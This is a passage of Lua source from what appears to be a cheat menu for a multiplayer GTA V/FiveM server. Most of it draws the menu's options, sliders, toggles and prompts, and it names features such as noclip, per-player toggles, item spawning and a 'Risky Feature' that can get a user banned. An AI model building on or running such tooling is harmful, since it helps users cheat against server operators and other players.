expand = roundNearest(16 * menuScale), alpha = 14 }, { expand = roundNearest(12 * menuScale), alpha = 24 }, { expand = roundNearest(10 * menuScale), alpha = 38 }, { expand = roundNearest(8 * menuScale), alpha = 54 }, { expand = roundNearest(6 * menuScale), alpha = 76 }, { expand = roundNearest(4 * menuScale), alpha = 104 }, { expand = roundNearest(3 * menuScale), alpha = 134 }, { expand = roundNearest(2 * menuScale), alpha = 166 }, { expand = roundNearest(1 * menuScale), alpha = 200 } } } menu.drawing._selGlowCache = cache end for _, layer in ipairs(cache.layers) do local color = { primary[1] or 180, primary[2] or 20, primary[3] or 20, floorNumber(layer.alpha * contentAlpha * glowOpacity + 0.5) } local expand = layer.expand if menuY <= highlightY - expand then Ham.drawRectFilled( { highlightX - expand, highlightY - expand, highlightWidth + expand * 2, expand }, color, 0, 1 ) end if clipBottom >= highlightY + optionHeight + expand then Ham.drawRectFilled( { highlightX - expand, highlightY + optionHeight, highlightWidth + expand * 2, expand }, color, 0, 1 ) end local visibleTop = math.max(menuY, highlightY) local visibleHeight = math.min(highlightY + optionHeight, clipBottom) - visibleTop if visibleHeight > 0 then Ham.drawRectFilled({ highlightX - expand, visibleTop, expand, visibleHeight }, color, 0, 1) Ham.drawRectFilled({ highlightX + highlightWidth, visibleTop, expand, visibleHeight }, color, 0, 1) end end local gradientTop = math.max(menuY, highlightY) local gradientHeight = math.min(highlightY + optionHeight, clipBottom) - gradientTop if gradientHeight > 0 then Ham.drawRectGradient( { highlightX, gradientTop, highlightWidth, gradientHeight }, { primary[1], primary[2], primary[3], math.floor(200 * contentAlpha + 0.5) }, { dark[1], dark[2], dark[3], math.floor(120 * contentAlpha + 0.5) }, true ) if gradientTop == highlightY then Ham.drawRectFilled( { highlightX, highlightY, highlightWidth, 1 }, { light[1], light[2], light[3], math.floor(255 * contentAlpha * accentOpacity + 0.5) }, 1, 0 ) end end Ham.popClipRect() end local function drawOptionText( text, position, textColor, fontSize, centered, selected, iconSpec, unusedParameter, iconColor, rightPadding, preserveSelectedColor ) local drawColor = selected and not preserveSelectedColor and { 255, 255, 255, 255 } or textColor local displayText = text if not centered and rightPadding and rightPadding > 0 then local baseSize = optionFont.font_size or fontSize local fontScale = baseSize > 0 and fontSize / baseSize or 1.0 local availableWidth = maxNumber(0, menuX + menuWidth - roundNearest(rightPadding * menuScale) - position[1]) local measuredWidth = (select(1, Ham.getTextWidth(displayText)) or 0) * fontScale if availableWidth < measuredWidth then local trimmed = tostring(displayText or "") while #trimmed > 0 do local candidateWidth = (select(1, Ham.getTextWidth(trimmed .. "...")) or 0) * fontScale if availableWidth >= candidateWidth then break end trimmed = string.sub(trimmed, 1, #trimmed - 1) end displayText = trimmed ~= "" and trimmed .. "..." or "..." end end Ham.drawText(displayText, position, drawColor, fontSize, centered, true, { 0, 0, 0, 255 }) Ham.drawText(displayText, position, drawColor, fontSize, centered, false, {}) local icons if type(iconSpec) == "table" and #iconSpec > 0 then icons = iconSpec elseif type(iconSpec) == "string" and iconSpec ~= "" then icons = { { icon = iconSpec, color = iconColor or textColor } } end if not icons or centered or not menu.fonts or not menu.fonts.icons then return end local iconRight = rightEdge - toggleWidth local iconTop = position[2] - px7 + halfOptionHeight - halfToggleHeight local iconSize = maxNumber(10, fontSize - px2) local iconY = iconTop + roundNearest((toggleHeight - iconSize) / 2) Ham.setFont(menu.fonts.icons) for index = 1, #icons, 1 do local icon = icons[index] local symbol = icon and icon.icon if symbol and symbol ~= "" then local color = icon and icon.color or iconColor or textColor local iconX = iconRight - px8 - (#icons - index + 1) * px26 Ham.drawText(symbol, { iconX, iconY }, color, iconSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(symbol, { iconX, iconY }, color, iconSize, false, false, {}) end end Ham.setFont(optionFont.font) end local function drawArrowCluster(layout, rowY, rowTextColor, selectedColor) local arrowSize = maxNumber(12, px14) local arrowY = rowY + roundNearest((optionHeight - arrowSize) / 2) local leftX = layout.leftArrowX + px5 local rightX = layout.rightArrowX + px2 Ham.setFont(optionFont.font) Ham.drawText("<", { leftX, arrowY }, rowTextColor, arrowSize, false, true, { 0, 0, 0, 255 }) Ham.drawText("<", { leftX, arrowY }, rowTextColor, arrowSize, false, false, {}) Ham.drawText( layout.choiceText, { layout.textX, rowY + px7 }, selectedColor and { 255, 255, 255, 255 } or rowTextColor, optionFont.font_size, false, false, {} ) Ham.drawText(">", { rightX, arrowY }, rowTextColor, arrowSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(">", { rightX, arrowY }, rowTextColor, arrowSize, false, false, {}) Ham.setFont(optionFont.font) end local function drawSwatch(color, x, y) local radius = maxNumber(1, px2) local border = menu.drawing.colors.border_light or { 255, 255, 255, 220 } Ham.drawRectFilled({ x - 1, y - 1, swatchSize + 2, swatchSize + 2 }, border, radius, 10) Ham.drawRectFilled( { x, y, swatchSize, swatchSize }, { color[1], color[2], color[3], color[4] or 255 }, radius, 10 ) end local visibleCount = minNumber(#optionsToDraw, menu.vars.maxVisibleOptions) Ham.pushClipRect({ menuX, menuY }, { menuX + menuWidth, menuY + visibleCount * optionHeight }, true) for row = 1, menu.vars.maxVisibleOptions, 1 do local optionIndex = row + menu.vars.scrollOffset if optionIndex > #optionsToDraw then break end local option = optionsToDraw[optionIndex] local rowY = menuY + (row - 1) * optionHeight local selected = selectionActive and row == menu.vars.currentOption local rowTextColor = selected and menu.drawing.colors.text_primary or menu.drawing.colors.text_secondary if playerInfoMode and selected then rowTextColor = menu.drawing.colors.text_secondary end local selectedColor = selected and not playerInfoMode if option.type == "separator" or option.type == "seperator" then local previewDrawn = false local node = menu.vars.navigationStack[#menu.vars.navigationStack] if node and node.isColorPicker and option.name == "Preview" then local color = menu.vars.colorPickers[node.colorVar] or { 255, 255, 255, 255 } local size = roundNearest(60 * menuScale) local centerX = menuX + roundNearest(menuWidth / 2) local previewX = centerX - roundNearest(size / 2) local previewY = rowY + roundNearest((optionHeight - size) / 2) Ham.drawRectFilled( { previewX - 2, previewY - 2, size + 4, size + 4 }, { 255, 255, 255, 255 }, px8, px12 ) Ham.drawRectFilled( { previewX, previewY, size, size }, { color[1], color[2], color[3], color[4] or 255 }, px8, px12 ) previewDrawn = true end if not previewDrawn then local name = option.name if type(name) == "function" then name = name() end menu.drawing.drawSeparator({ label = tostring(name or ""), icon = option.icon, x_pos = menuX, current_y = rowY, optionHeight = optionHeight, scale = menuScale, targetFont = optionFont }) end else local optionLabel = option.name if type(optionLabel) == "function" then optionLabel = optionLabel() end local labelUpdated = false if (option.type == "slider" or option.type == "numberSlider") and shouldShowSkinSliderValue(option) then menu.vars.sliders = menu.vars.sliders or {} local minimum = option.min if type(minimum) == "function" then minimum = option.min() or option.min end local value = menu.vars.sliders[option.var] if value == nil then value = option.default or minimum or 0 menu.vars.sliders[option.var] = value end optionLabel = string.format( "%s: %s%s", tostring(optionLabel), formatSliderNumber(value, option.step), option.suffix or "" ) labelUpdated = true end if not labelUpdated and option.type == "toggle" and option.sliderVar and option.sliderMin and option.sliderMax and shouldShowSkinSliderValue(option) then menu.vars.sliders = menu.vars.sliders or {} local value = menu.vars.sliders[option.sliderVar] if value == nil then value = option.sliderDefault or option.sliderMin or 1.0 menu.vars.sliders[option.sliderVar] = value end optionLabel = string.format( "%s: %s%s", tostring(optionLabel), formatSliderNumber(value, option.sliderStep or option.step), option.sliderSuffix or "x" ) end local leftOffset = 0 if option.leftIcon and option.leftIcon ~= "" and menu.fonts then local iconFont = menu.fonts[option.leftIconFont or "icons"] if iconFont then leftOffset = px20 local baseColor = menu.drawing.colors.primary or { 30, 90, 210, 255 } local iconSize = maxNumber(8, (optionFont.font_size or 14) - px5) local iconX = menuX + px10 local iconY = rowY + halfOptionHeight - roundNearest(iconSize / 2) local color = { baseColor[1], baseColor[2], baseColor[3], 195 } Ham.setFont(iconFont) Ham.drawText(option.leftIcon, { iconX, iconY }, color, iconSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(option.leftIcon, { iconX, iconY }, color, iconSize, false, false, {}) if optionFont.font then Ham.setFont(optionFont.font) end end end local textPosition = { menuX + leftOffset + px12, rowY + px7 } if option.leftText and option.leftText ~= "" then local text = tostring(option.leftText) local size = option.leftTextFontSize or maxNumber(12, (optionFont.font_size or 18) - 2) local changedFont = false if option.leftTextFont and menu.fonts[option.leftTextFont] then changedFont = true Ham.setFont(menu.fonts[option.leftTextFont]) end local color = option.leftTextColor or { 255, 255, 255, 255 } local drawColor = selectedColor and not option.leftTextKeepColor and { 255, 255, 255, 255 } or color local position = { textPosition[1], rowY + px9 } Ham.drawText(text, position, drawColor, size, false, true, { 0, 0, 0, 255 }) Ham.drawText(text, position, drawColor, size, false, false, {}) local width = select(1, Ham.getTextWidth(text)) textPosition = { textPosition[1] + width + roundNearest(5 * menuScale), textPosition[2] } if changedFont then Ham.setFont(optionFont.font) end end if option.prefixText and option.prefixText ~= "" then drawOptionText( option.prefixText, textPosition, option.prefixColor or { 255, 255, 255, 255 }, optionFont.font_size, false, selectedColor, nil, nil, nil, nil, true ) local width = select(1, Ham.getTextWidth(option.prefixText)) textPosition = { textPosition[1] + width, textPosition[2] } end local iconSpec = option.icons and #option.icons > 0 and option.icons or option.icon drawOptionText( optionLabel, textPosition, option.textColor or { 255, 255, 255, 255 }, optionFont.font_size, false, selectedColor, iconSpec, option.iconAnchorText, option.iconColor, option.textRightPadding ) local rightText = option.rightText if type(rightText) == "function" then local success, result = pcall(rightText) rightText = success and result or nil end if rightText and rightText ~= "" then rightText = tostring(rightText) local size = option.rightTextFontSize if not size then size = option.rightTextColor and optionFont.font_size or maxNumber(12, (optionFont.font_size or 18) - 4) end local changedFont = false if option.rightTextFont and menu.fonts[option.rightTextFont] then changedFont = true Ham.setFont(menu.fonts[option.rightTextFont]) end local width = Ham.getTextWidth(rightText) local textX = rightEdge - width local color = option.rightTextColor or { 150, 150, 150, 255 } local drawColor = selectedColor and not option.rightTextKeepColor and { 255, 255, 255, 255 } or color local position = { textX, rowY + px9 } Ham.drawText(rightText, position, drawColor, size, false, true, { 0, 0, 0, 255 }) Ham.drawText(rightText, position, drawColor, size, false, false, {}) if changedFont then Ham.setFont(optionFont.font) end end end if option.type == "toggle" or option.type == "toggleColorPicker" then local state = menu.vars.bools[option.var] if state == nil then state = option.defaultToggle == true or option.default == true menu.vars.bools[option.var] = state end local switchX = rightEdge - toggleWidth local switchY = rowY + halfOptionHeight - halfToggleHeight if option.type == "toggleColorPicker" and option.colorVar then local color = menu.vars.colorPickers[option.colorVar] if not color then color = option.defaultColor or option.default if type(color) == "function" then color = color() end menu.vars.colorPickers[option.colorVar] = color or { 255, 255, 255 } end color = menu.vars.colorPickers[option.colorVar] drawSwatch(color, switchX - px8 - swatchSize, rowY + roundNearest((optionHeight - swatchSize) / 2)) end menu.drawing.drawToggleSwitch(switchX, switchY, toggleWidth, toggleHeight, state, menuScale) if option.sliderVar and option.sliderMin and option.sliderMax then menu.vars.sliders = menu.vars.sliders or {} local value = menu.vars.sliders[option.sliderVar] if value == nil then value = option.sliderDefault or option.sliderMin or 1.0 menu.vars.sliders[option.sliderVar] = value end local trackWidth = getSliderTrackWidth(option) drawSliderTrack( switchX - trackWidth - px8, rowY, trackWidth, value, option.sliderMin, option.sliderMax, optionHeight ) elseif option.hotkeyTarget and option.hotkeyTarget.identifier then local identifier = option.hotkeyTarget.identifier local key = menu.vars.hotkeyBinds[identifier] or "None" local slot = menu.vars.hotkeyBindSlot and menu.vars.hotkeyBindSlot[identifier] or "key" local label = slot == "custom" and "- Custom -" or "- " .. key .. " -" local width = Ham.getTextWidth(label) drawOptionText( label, { switchX - px8 - width, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) end elseif option.type == "toggleIndiv" then menu.vars.indivBools = menu.vars.indivBools or {} menu.vars.indivBools[option.var] = menu.vars.indivBools[option.var] or {} local state = false if option.targetInfo and option.targetInfo.ped then state = menu.vars.indivBools[option.var][option.targetInfo.ped] or false end menu.drawing.drawToggleSwitch( rightEdge - toggleWidth, rowY + halfOptionHeight - halfToggleHeight, toggleWidth, toggleHeight, state, menuScale ) elseif option.type == "submenu" then drawOptionText( ">", { insetRightEdge, rowY + px5 }, rowTextColor, optionFont.font_size, false, selectedColor ) elseif option.type == "selector" then if not option.hideSelectorChoice then local index = menu.vars.selectors[option.var] or 1 local choices = option.choices if type(choices) == "function" then choices = option.choices() or option.choices end local label = "- Invalid -" if choices and #choices > 0 then if index < 1 or index > #choices then index = 1 menu.vars.selectors[option.var] = 1 end if choices[index] then label = "- " .. tostring(choices[index]) .. " -" end else label = "- Empty -" end local dash = option.selectorStyle == "dash" local layout = menu.logic.getSelectorMouseClusterLayout(option, menuScale, menuX, optionHeight, rowY) if layout then local arrowSize = maxNumber(12, px14) local arrowY = rowY + roundNearest((optionHeight - arrowSize) / 2) local leftX = layout.leftArrowX + px5 local rightX = layout.rightArrowX + px2 local arrow = dash and "\226\128\147" or "<" local rightArrow = dash and "\226\128\147" or ">" Ham.setFont(optionFont.font) Ham.drawText(arrow, { leftX, arrowY }, rowTextColor, arrowSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(arrow, { leftX, arrowY }, rowTextColor, arrowSize, false, false, {}) Ham.drawText( layout.choiceText, { layout.textX, rowY + px7 }, selectedColor and { 255, 255, 255, 255 } or rowTextColor, optionFont.font_size, false, false, {} ) Ham.drawText( rightArrow, { rightX, arrowY }, rowTextColor, arrowSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText(rightArrow, { rightX, arrowY }, rowTextColor, arrowSize, false, false, {}) Ham.setFont(optionFont.font) else local width = Ham.getTextWidth(label) drawOptionText( label, { rightEdge - width, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) end end elseif option.type == "selectorToggle" then local index = menu.vars.selectors[option.var] or 1 local choices = option.choices if type(choices) == "function" then choices = option.choices() or option.choices end local label = "- Empty -" if choices and #choices > 0 then if index < 1 or index > #choices then index = 1 menu.vars.selectors[option.var] = 1 end label = "- " .. tostring(choices[index]) .. " -" end local toggleVar = option.toggleVar or (option.var and option.var .. "Enabled" or nil) local enabled = false local individualHandled = false if option.indivVar and option.targetInfo and option.targetInfo.ped then menu.vars.indivBools = menu.vars.indivBools or {} menu.vars.indivBools[option.indivVar] = menu.vars.indivBools[option.indivVar] or {} enabled = menu.vars.indivBools[option.indivVar][option.targetInfo.ped] or false individualHandled = true end if not individualHandled and toggleVar then enabled = menu.vars.bools[toggleVar] if enabled == nil then enabled = option.defaultToggle == true menu.vars.bools[toggleVar] = enabled end end local toggleX = rightEdge - toggleWidth local toggleY = rowY + halfOptionHeight - halfToggleHeight local layout = menu.logic.getSelectorMouseClusterLayout(option, menuScale, menuX, optionHeight, rowY) if layout then drawArrowCluster(layout, rowY, rowTextColor, selectedColor) else local regionLeft = menuX + roundNearest(menuWidth * 0.45) local regionRight = toggleX - px8 local available = maxNumber(10, regionRight - regionLeft) local width = Ham.getTextWidth(label) local textX = math.max(regionLeft, regionLeft + floorNumber((available - width) / 2)) drawOptionText( label, { textX, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) end menu.drawing.drawToggleSwitch(toggleX, toggleY, toggleWidth, toggleHeight, enabled, menuScale) elseif option.type == "textInput" then menu.vars.textInputs = menu.vars.textInputs or {} local value = menu.vars.textInputs[option.var] local displayFunction = option.displayFunc if type(displayFunction) == "string" and menu.functions[displayFunction] then displayFunction = menu.functions[displayFunction] end local label if type(displayFunction) == "function" then label = "- " .. tostring(displayFunction() or "Empty") .. " -" elseif value and value ~= "" then label = #value > 15 and "- " .. string.sub(value, 1, 15) .. "... -" or "- " .. value .. " -" else local default = option.default if type(default) == "function" then default = default() end label = "- " .. (default or "Empty") .. " -" end local width = Ham.getTextWidth(label) drawOptionText( label, { rightEdge - width, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) elseif option.type == "colorPicker" then local color = menu.vars.colorPickers[option.var] if not color then color = option.default if type(color) == "function" then color = color() end menu.vars.colorPickers[option.var] = color or { 255, 255, 255 } end color = menu.vars.colorPickers[option.var] drawSwatch(color, rightEdge - swatchSize - px5, rowY + roundNearest((optionHeight - swatchSize) / 2)) elseif option.type == "slider" or option.type == "numberSlider" then menu.vars.sliders = menu.vars.sliders or {} local minimum = option.min if type(minimum) == "function" then minimum = option.min() or option.min end local maximum = option.max if type(maximum) == "function" then maximum = option.max() or option.max end local value = menu.vars.sliders[option.var] if value == nil then value = option.default or minimum or 1.0 menu.vars.sliders[option.var] = value end value = menu.vars.sliders[option.var] local suffix = option.suffix or "x" local formatted = formatSliderNumber(value, option.step) local node = menu.vars.navigationStack[#menu.vars.navigationStack] local inSkinEditor = node and node.title == "Skin Editor" local skinVariable = tostring(option.var or ""):match("^skin") ~= nil local modern = usesModernSliderStyle(option) local showTrack = not inSkinEditor and not skinVariable and minimum ~= nil and maximum ~= nil and maximum - minimum ~= 0 if showTrack then local trackWidth = getSliderTrackWidth(option) local trackHeight = getSliderTrackHeight(option) local trackX = rightEdge - trackWidth local trackY = rowY + halfOptionHeight - floorNumber(trackHeight / 2) if modern then drawSliderTrack(trackX, rowY, trackWidth, value, minimum, maximum, optionHeight) else local valueLabel = string.format("%s%s", formatted, suffix) local valueWidth = Ham.getTextWidth(valueLabel) local valueX = trackX - px6 - valueWidth drawOptionText( valueLabel, { valueX, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) if option.inputVar and option.inputChoices then local cluster = menu.logic.getNumberSliderInputClusterLayout( option, menuScale, optionHeight, rowY, valueX - px8 ) if cluster then drawArrowCluster(cluster, rowY, rowTextColor, selectedColor) end end local border = menu.drawing.colors.border_light or { 80, 80, 90, 200 } local background = { 60, 60, 70, 200 } local fill = menu.drawing.colors.primary or { 106, 0, 255, 255 } menu.drawing.drawPill(trackX - 1, trackY - 1, trackWidth + 2, trackHeight + 2, border) menu.drawing.drawPill(trackX, trackY, trackWidth, trackHeight, background) local fraction = (value - minimum) / (maximum - minimum) fraction = math.max(0, math.min(1, fraction)) local fillWidth = floorNumber(trackWidth * fraction + 0.5) if fillWidth > 0 then if trackHeight > fillWidth then Ham.drawCircle( { trackX + trackHeight / 2, trackY + trackHeight / 2, trackHeight / 2 }, fill, 32, 1.0, true ) else menu.drawing.drawPill(trackX, trackY, fillWidth, trackHeight, fill) end end local knobRadius = trackHeight / 2 + 1 local knobX = trackX + trackHeight / 2 + (trackWidth - trackHeight) * fraction local knobY = trackY + trackHeight / 2 Ham.drawCircle({ knobX, knobY, knobRadius + 1 }, { 0, 0, 0, 30 }, 32, 1.0, true) Ham.drawCircle({ knobX, knobY, knobRadius }, { 255, 255, 255, 255 }, 32, 1.0, true) end else local label = string.format("- %s%s -", formatted, suffix) local width = Ham.getTextWidth(label) drawOptionText( label, { rightEdge - width, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) end elseif option.type == "hotkey" then local identifier = option.target and option.target.identifier local key = identifier and menu.vars.hotkeyBinds[identifier] or "None" local label = "- " .. key .. " -" local width = Ham.getTextWidth(label) drawOptionText( label, { rightEdge - width, rowY + px7 }, rowTextColor, optionFont.font_size, false, selectedColor ) end end Ham.popClipRect() if selectionActive then local selectedIndex = menu.vars.currentOption if selectedIndex and not playerInfoMode then selectedIndex = selectedIndex + menu.vars.scrollOffset if selectedIndex <= #optionsToDraw then local option = optionsToDraw[selectedIndex] if option and option.description and menu.vars.bools.lazerEyes ~= true and not menu.logic.isDescriptionBarBlocked(option) then local description = option.description if type(description) == "function" then description = description() end menu.drawing.drawDescriptionBar( description, menuX, menuY, optionHeight, optionsToDraw, effectiveTabHeight ) end end end end Ham.resetFont() end function assembledMenuDrawing.drawOptions(node, options) local animationState = menu.vars.animation.active if animationState then animationState = menu.vars.animation.progress local easedAnimationProgress = menu.drawing.easeOutCubic(animationState) local visibleFromOptions = menu.logic.getVisibleOptions(menu.vars.animation.fromOptions) local visibleToOptions = menu.logic.getVisibleOptions(menu.vars.animation.toOptions) local animationScale = menu.vars.scale local animationTabHeight = menu.logic.getCurrentTabHeight(node) local animationMenuPosition = menu.vars.menuPositionState local animationMenuX = animationMenuPosition.x if animationMenuX == nil or animationMenuPosition.y == nil then animationMenuPosition.x = roundNearest(75 * animationScale) animationMenuPosition.y = roundNearest( menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7) ) + roundNearest(menu.vars.yOffset * animationScale) + roundNearest( menu.vars.bannerHeight * menu.vars.widthScaleFactor ) end animationMenuX = animationMenuPosition.x local animationMenuY = animationMenuPosition.y + roundNearest(menu.vars.titleBarHeight * animationScale) + animationTabHeight local scaledOptionHeight = roundNearest(menu.vars.optionHeight * animationScale) local fromOptionsHeight = minNumber(#visibleFromOptions, menu.vars.maxVisibleOptions) * scaledOptionHeight local visibleToOptionsHeight = minNumber(#visibleToOptions, menu.vars.maxVisibleOptions) * scaledOptionHeight local roundFunction = roundNearest local interpolatedHeight = fromOptionsHeight + (visibleToOptionsHeight - fromOptionsHeight) * easedAnimationProgress roundFunction = roundFunction(interpolatedHeight) local scrollbarHeight = roundFunction local fromOptions = visibleFromOptions local toOptions = visibleToOptions local scale = animationScale local currentTabHeight = animationTabHeight local menuPosition = animationMenuPosition local menuX = animationMenuX local menuY = animationMenuY local animationProgress = easedAnimationProgress local toOptionsHeight = visibleToOptionsHeight local alwaysDrawScrollbar Ham.pushClipRect({ menuX, menuY }, { menuX + roundNearest(menu.vars.width), menuY + scrollbarHeight }, true) if menu.vars.animation.direction == "in" then local visibleHeight = roundNearest(toOptionsHeight * animationProgress) Ham.pushClipRect( { menuX, menuY }, { menuX + roundNearest(menu.vars.width), menuY + visibleHeight }, true ) menu.drawing.drawMenuWithOptions(toOptions, 0, true, currentTabHeight) Ham.popClipRect() else local animatedWidth = animationProgress * menu.vars.width menu.drawing.drawMenuWithOptions(fromOptions, animatedWidth, false, currentTabHeight) menu.drawing.drawMenuWithOptions(toOptions, -(menu.vars.width - animatedWidth), true, currentTabHeight) end Ham.popClipRect() alwaysDrawScrollbar = menu.vars.bools if alwaysDrawScrollbar then alwaysDrawScrollbar = menu.vars.bools.alwaysDrawScrollbar end menu.drawing.drawScrollbar(toOptions, menuX, menuY, "left", alwaysDrawScrollbar, scrollbarHeight) return end currentTabHeight = menu.logic.getCurrentTabHeight(node) menu.drawing.drawMenuWithOptions(options, 0, true, currentTabHeight) if menu.functions.drawWeaponSpawnPreview then menu.functions.drawWeaponSpawnPreview(options) end if menu.functions.drawVehicleSpawnInfo then menu.functions.drawVehicleSpawnInfo(options) end menuPosition = menu.vars.menuPositionState menuX = menuPosition.x if menuX == nil or menuPosition.y == nil then menuPosition.x = roundNearest(75 * menu.vars.scale) menuPosition.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * menu.vars.scale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end menuX = menuPosition.x menuY = menuPosition.y + roundNearest(menu.vars.titleBarHeight * menu.vars.scale) + currentTabHeight alwaysDrawScrollbar = menu.vars.bools if alwaysDrawScrollbar then alwaysDrawScrollbar = menu.vars.bools.alwaysDrawScrollbar end menu.drawing.drawScrollbar(options, menuX, menuY, "left", alwaysDrawScrollbar) end menuTargetForDrawing.drawing = assembledMenuDrawing end menu.ui = menu.ui or {} local menuUi = menu.ui do local function promptText(options, callback) local defaultValue = options and options.default or "" local smallLabel = options local largeCentered = options local dangerStyle = options if options then smallLabel = options.smallLabel == true largeCentered = options.largeCentered == true dangerStyle = options.dangerStyle == true end local prompt = { title = options and options.title or "Input", label = options and options.label or "", maxLen = options and options.maxLen or 64, value = defaultValue, cursorPos = #defaultValue, placeholder = options and options.placeholder or "", hint = options and options.hint or nil, smallLabel = smallLabel, largeCentered = largeCentered, dangerStyle = dangerStyle, callback = callback, blink = 0, _submitBlockUntil = GetGameTimer() + 250 } menu.vars.textPrompt = prompt DisableAllControlActions(0) menu.logic.holdNoclipPosition("textPrompt") Ham.toggleInputBlock(true) end menuUi.promptText = promptText end do local function promptDeleteConfirm(options, onConfirm) local title = options and options.title or "Confirm Delete" local label = options and options.label or "Do you really want to delete? Type yes to confirm." menu.ui.promptText({ title = title, label = label, default = "", maxLen = 3, placeholder = "yes" }, function(value, cancelled) if cancelled then return end local confirmation = string.lower(string.gsub(tostring(value or ""), "^%s*(.-)%s*$", "%1")) if confirmation ~= "yes" then menu.utils.notify("Deletion cancelled", "info", 2500) return end if onConfirm then onConfirm() end end) end menuUi.promptDeleteConfirm = promptDeleteConfirm end do local function promptRiskyConfirm(options, onConfirm) local title = options and options.title or "Risky Feature" local label = options and options.label or "This feature can lead to a server ban." menu.ui.promptText({ title = title, label = label, default = "", maxLen = 3, placeholder = "yes / no" }, function(value, cancelled) if cancelled then return end local confirmation = string.lower(string.gsub(tostring(value or ""), "^%s*(.-)%s*$", "%1")) if confirmation ~= "yes" then return end if onConfirm then onConfirm() end end) end menuUi.promptRiskyConfirm = promptRiskyConfirm end local menuUtils = menu.utils do local function _closeTextPrompt(submit) if not menu.vars.textPrompt then return end local callback = menu.vars.textPrompt.callback local value if submit then value = menu.vars.textPrompt.value or "" end local cancelled = not submit menu.vars.textPrompt = nil EnableAllControlActions(0) if not menu.logic.needsHamInputBlock() then Ham.toggleInputBlock(false) end menu.logic.releaseNoclipPosition("textPrompt") if callback then callback(value, cancelled) end end menuUtils._closeTextPrompt = _closeTextPrompt end menuKeyBindings = { MENU_TOGGLE = ImGuiKey.F5, ENTER = ImGuiKey.Enter, BACKSPACE = ImGuiKey.Backspace, LEFT = ImGuiKey.LeftArrow, RIGHT = ImGuiKey.RightArrow, UP = ImGuiKey.UpArrow, DOWN = ImGuiKey.DownArrow } local menuLogic = {} menu.logic = menuLogic do local function goBack() if #menu.vars.navigationStack > 1 then menu.utils.playSound("BACK") table.remove(menu.vars.navigationStack) menu.vars.currentOption = table.remove(menu.vars.selectionHistory) or 1 menu.vars.scrollOffset = table.remove(menu.vars.scrollHistory) or 0 if #menu.vars.navigationStack ~= 1 then return end if not menu.vars._searchReturnNode then return end local searchReturnNode = menu.vars._searchReturnNode menu.vars._searchReturnNode = nil table.insert(menu.vars.selectionHistory, menu.vars.currentOption) table.insert(menu.vars.scrollHistory, menu.vars.scrollOffset) table.insert(menu.vars.navigationStack, searchReturnNode.node) menu.vars.currentOption = searchReturnNode.currentOption or 1 menu.vars.scrollOffset = searchReturnNode.scrollOffset or 0 return end menu.vars._searchReturnNode = nil menu.logic.setMenuVisibleAnimated(false) menu.utils.playSound("BACK") end menuLogic.goBack = goBack end do local function changeMenuTabByDirection(direction) direction = direction and 0 <= direction and 1 or -1 local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if not currentNode then return end menu.logic.getActiveTabsForNode(currentNode) local activeTabs = currentNode._activeTabs if #menu.vars.navigationStack == 1 then local tabCount = #menu.vars.orderedTabs if 0 < direction then menu.vars.currentTab = menu.vars.currentTab % tabCount + 1 else local previousTab = menu.vars.currentTab - 1 if previousTab < 1 and tabCount then previousTab = tabCount end menu.vars.currentTab = previousTab end menu.logic.resetToCurrentTabRoot() return end local tabCount = menu.logic.menuTabListLen(activeTabs) if tabCount <= 0 then return end if 0 < direction then currentNode.tabIndex = currentNode.tabIndex % tabCount + 1 else local previousTab = currentNode.tabIndex - 1 if previousTab < 1 and tabCount then previousTab = tabCount end currentNode.tabIndex = previousTab end if menu.logic.isOnVehicleRadarList(currentNode) then menu.logic.refreshVehicleRadarListSelection(currentNode, menu.vars.currentOption, menu.vars.scrollOffset) else if currentNode.title == "Self Options" then local selectedTab = activeTabs[currentNode.tabIndex] if selectedTab and selectedTab.name == "Wardrobe" and menu.logic.initializeSkinEditor then menu.logic.initializeSkinEditor() end end menu.vars.currentOption = menu.logic.findFirstSelectableOption(activeTabs[currentNode.tabIndex].options) menu.vars.scrollOffset = 0 end end menuLogic.changeMenuTabByDirection = changeMenuTabByDirection end do local function optionMatchesColorVar(option, colorVar) if not option or not colorVar then return false end if option.type == "colorPicker" and option.var == colorVar then return true end if option.type == "toggleColorPicker" and option.colorVar == colorVar then return true end return false end menuLogic.optionMatchesColorVar = optionMatchesColorVar end do local function openColorPickerFromOption(selectedOption) if not selectedOption then return end local colorVar = selectedOption.colorVar or selectedOption.var if not colorVar then return end local color = menu.vars.colorPickers[colorVar] if not color then color = selectedOption.defaultColor or selectedOption.default if type(color) == "function" then color = color() end menu.vars.colorPickers[colorVar] = color or { 255, 255, 255 } end color = menu.vars.colorPickers[colorVar] local hue, saturation, brightness = menu.utils.rgbToHsv(color[1], color[2], color[3]) local state = menu.vars.colorPickerState state.active = true state.var = colorVar state.name = selectedOption.colorName or selectedOption.name or "Color" state.hue = hue state.saturation = saturation state.brightness = brightness state.alpha = math.floor(color[4] or 255) state.rainbowEnabled = menu.vars.colorPickerRainbowStates[colorVar] == true state.noRainbow = selectedOption.noRainbow == true menu.vars.colorPickerOnChangeFuncs[colorVar] = selectedOption.onChangeFunc state.mouseDown = false state.hexInputActive = false state.hexInputBuffer = string.format("#%02X%02X%02X", color[1], color[2], color[3]) state.hexSelectAll = false state._skippedInputBlock = false menu.logic.holdNoclipPosition("colorPicker") Ham.toggleMouse(true) Ham.toggleInputBlock(true) end menuLogic.openColorPickerFromOption = openColorPickerFromOption end do local function holdNoclipPosition(owner) local noclipHold = menu.vars._noclipHold if noclipHold then noclipHold.owners[owner] = true return end if not (menu.vars.bools and menu.vars.bools.noclip) then return end local playerPed = PlayerPedId() local entity = playerPed if IsPedInAnyVehicle(playerPed, false) then entity = GetVehiclePedIsIn(playerPed, false) or playerPed end if entity == 0 or not DoesEntityExist(entity) then return end FreezeEntityPosition(entity, true) 